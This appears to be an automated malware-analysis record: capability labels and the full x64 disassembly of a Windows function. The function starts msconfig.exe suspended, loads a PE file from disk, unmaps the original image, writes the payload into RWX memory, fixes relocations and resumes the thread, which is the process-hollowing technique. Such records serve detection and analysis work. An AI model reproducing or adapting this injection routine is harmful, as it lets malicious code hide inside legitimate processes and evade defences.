Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Inspect section memory permissions
Read file on windows
Resume thread
Use process replacement

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x538]
sub rsp, 0x638
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x510], rax
xorps xmm1, xmm1
mov dword [rbp + 0x4a0], 0x68
xor eax, eax
lea rcx, str.C:windows_system32msconfig.exe
mov qword [rbp - 0x80], rax
xor r12d, r12d
mov dword [rbp + 0x504], eax
xorps xmm0, xmm0
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp + 0x4a0]
xor edx, edx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp + 0x4a4], xmm1
movups xmmword [rbp + 0x4b4], xmm1
movups xmmword [rbp + 0x4c4], xmm1
movups xmmword [rbp + 0x4d4], xmm1
movups xmmword [rbp + 0x4e4], xmm1
movups xmmword [rbp + 0x4f4], xmm1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001143
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_CreateProcessA__code___d_n
call fcn.140001010
xor al, al
jmp 0x140001382
mov qword [rsp + 0x30], r12
lea rcx, str.C:Users_ryanbDownloadsUSBDeview.lib
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov qword [rsp + 0x650], rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400017fa
lea rdx, [rbp - 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x1400011b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_GetFileSizeEx__code___d_n
call fcn.140001010
xor al, al
jmp 0x14000137a
mov rdx, qword [rbp - 0x78]
mov r9d, 4
mov r8d, 0x3000
mov qword [rsp + 0x628], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x58], rax
mov r14, rax
test rax, rax
jne 0x1400011fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_VirtualAlloc__code___d_n
call fcn.140001010
xor al, al
jmp 0x140001372
mov r8d, dword [rbp - 0x78]
lea r9, [rbp + 0x480]
mov rdx, r14
mov qword [rsp + 0x20], r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001238
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_ReadFile__code___d_n
call fcn.140001010
xor al, al
jmp 0x140001372
mov qword [rsp + 0x658], rsi
mov rcx, rbx
mov qword [rsp + 0x620], r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd r15, dword [r14 + 0x3c]
lea rcx, [rbp - 0x60]
add r15, r14
xor edx, edx
mov r8d, 0x4d0
mov rsi, qword [r15 + 0x30]
mov qword [rsp + 0x60], rsi
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x78]
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x30], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1400012a7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_GetThreadContext__code___d_n
call fcn.140001010
xor al, al
jmp 0x140001362
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x490]
mov qword [rsp + 0x660], rdi
lea r8, [rbp - 0x70]
mov rdi, qword [rbp + 0x28]
mov qword [rsp + 0x630], r13
add rdi, 0x10
mov r13d, 8
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov r9d, r13d
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140001304
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rdi
lea rcx, str.Error_at_ReadProcessMemory__0x_x__code___d_n
mov r8d, eax
call fcn.140001010
jmp 0x140001350
mov rbx, qword [rbp - 0x70]
cmp rbx, rsi
jne 0x14000139c
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x70]
mov rdx, rbx
call rax
test eax, eax
je 0x14000139c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_NtUnmapViewOfSection__code___d_n
call fcn.140001010
xor al, al
mov r13, qword [rsp + 0x630]
mov rdi, qword [rsp + 0x660]
mov rsi, qword [rsp + 0x658]
mov r15, qword [rsp + 0x620]
mov r14, qword [rsp + 0x628]
mov rbx, qword [rsp + 0x650]
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.140001850
add rsp, 0x638
pop r12
pop rbp
ret
mov r8d, dword [r15 + 0x50]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x70]
mov rdx, rsi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x140001410
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x1400013fc
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x70]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x140001410
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_VirtualAllocEx__code___d_n
jmp 0x14000134b
cmp rbx, rax
je 0x14000143f
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x478]
mov r9, r13
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x68]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400017df
mov edi, 2
mov word [r15 + 0x5c], di
mov rcx, qword [rsp + 0x68]
cmp rcx, rsi
je 0x1400015f3
test byte [r15 + 0x16], 1
je 0x14000146f
lea rcx, str.Cannot_relocate_the_PE_because_the_relocation_table_is_stripped_n
call fcn.140001010
jmp 0x140001350
movzx r10d, word [r15 + 0x14]
mov ebx, r12d
movzx edi, word [r15 + 6]
add r10, r15
mov r11d, dword [r15 + 0xb0]
mov r8d, r12d
mov qword [r15 + 0x30], rcx
cmp r12w, di
jae 0x1400014d3
nop dword [rax]
nop word [rax + rax]
mov eax, r8d
lea rdx, [rax + rax*4]
mov r9d, dword [r10 + rdx*8 + 0x24]
cmp r11d, r9d
jb 0x1400014be
mov ecx, dword [r10 + rdx*8 + 0x20]
add ecx, r9d
cmp r11d, ecx
jb 0x1400014c8
inc r8d
cmp r8d, edi
jb 0x1400014a0
jmp 0x1400014d3
mov ebx, dword [r10 + rdx*8 + 0x2c]
sub ebx, r9d
add ebx, r11d
mov ecx, dword [r15 + 0xb4]
mov eax, r12d
mov edx, ebx
add rdx, r14
mov dword [rsp + 0x54], ecx
mov qword [rbp + 0x478], rdx
mov dword [rsp + 0x50], eax
test ecx, ecx
je 0x1400015e9
mov r8d, 0xfff
nop
mov r13d, eax
add r13, rdx
mov eax, dword [r13 + 4]
lea rsi, [r13 + 8]
sub rax, 8
shr rax, 1
test eax, eax
je 0x1400015ca
mov r14d, eax
movzx ecx, word [rsi]
movzx eax, cx
and cx, r8w
shr ax, 0xc
cmp ax, 3
je 0x14000153a
cmp ax, 0xa
jne 0x1400015b1
movzx ebx, word [r15 + 0x14]
mov edi, r12d
movzx r10d, word [r15 + 6]
add rbx, r15
movzx r11d, cx
mov r8d, r12d
add r11d, dword [r13]
cmp r12w, r10w
jae 0x140001591
nop dword [rax + rax]
mov eax, r8d
lea rax, [rax + rax*4]
mov r9d, dword [rbx + rax*8 + 0x24]
cmp r11d, r9d
jb 0x14000157d
mov edx, dword [rbx + rax*8 + 0x20]
add edx, r9d
cmp r11d, edx
jb 0x140001587
inc r8d
cmp r8d, r10d
jb 0x140001560
jmp 0x140001591
mov edi, dword [rbx + rax*8 + 0x2c]
sub edi, r9d
add edi, r11d
mov edx, edi
mov r8d, 0xfff
add rdx, qword [rsp + 0x58]
mov rcx, qword [rdx]
sub rcx, qword [rsp + 0x60]
mov qword [rdx], rcx
add rcx, qword [rsp + 0x68]
mov qword [rdx], rcx
add rsi, 2
sub r14, 1
jne 0x140001520
mov ecx, dword [rsp + 0x54]
mov rdx, qword [rbp + 0x478]
mov eax, dword [rsp + 0x50]
add eax, dword [r13 + 4]
mov dword [rsp + 0x50], eax
cmp eax, ecx
jb 0x140001500
mov r14, qword [rsp + 0x58]
mov r13d, 8
mov rcx, qword [rsp + 0x68]
mov edi, 2
mov eax, dword [r15 + 0x28]
lea rdx, [rbp - 0x60]
add rax, rcx
mov rcx, qword [rsp + 0x78]
mov qword [rbp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140001625
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_SetThreadContext__code___d_n
jmp 0x14000134b
mov r9d, dword [r15 + 0x54]
lea rax, [rbp + 0x488]
mov rdx, qword [rsp + 0x68]
mov r8, r14
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400017df
mov r8d, dword [r15 + 0x54]
lea rax, [rbp + 0x470]
mov rdx, qword [rsp + 0x68]
mov r9d, edi
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400017cb
movsxd rbx, dword [r14 + 0x3c]
add rbx, 0x114
cmp r12w, word [r15 + 6]
jae 0x1400017a7
add rbx, r14
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea rax, [rbp + 0x488]
mov edx, dword [rbx]
add r8, r14
add rdx, qword [rsp + 0x68]
mov r9d, dword [rbx + 4]
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400017df
movzx eax, word [r15 + 6]
mov r10d, dword [rbx]
dec eax
cmp r12d, eax
jne 0x1400016e6
mov edx, dword [r15 + 0x50]
jmp 0x1400016e9
mov edx, dword [rbx + 0x28]
mov ecx, dword [rbx + 0x18]
sub edx, r10d
mov eax, ecx
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x140001705
mov r9d, 0x40
jmp 0x14000176c
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x14000171b
mov r9d, 0x20
jmp 0x14000176c
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x140001731
mov r9d, 0x80
jmp 0x14000176c
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x140001747
mov r9d, 4
jmp 0x14000176c
bt ecx, 0x1d
jae 0x140001755
mov r9d, 0x10
jmp 0x14000176c
bt ecx, 0x1e
jae 0x140001760
mov r9d, edi
jmp 0x14000176c
test ecx, ecx
mov r9d, 1
cmovs r9d, r13d
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x470]
mov r8d, edx
mov edx, r10d
add rdx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400017cb
movzx eax, word [r15 + 6]
inc r12d
add rbx, 0x28
cmp r12d, eax
jl 0x1400016a0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1400017f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_ResumeThread__code___d_n
jmp 0x14000134b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_VirtualProtectEx__code___d_n
jmp 0x14000134b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_WriteProcessMemory__code___d_n
jmp 0x14000134b
mov al, 1
jmp 0x140001352
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_at_CreateFileA__code___d_n
call fcn.140001010
xor al, al
jmp 0x14000137a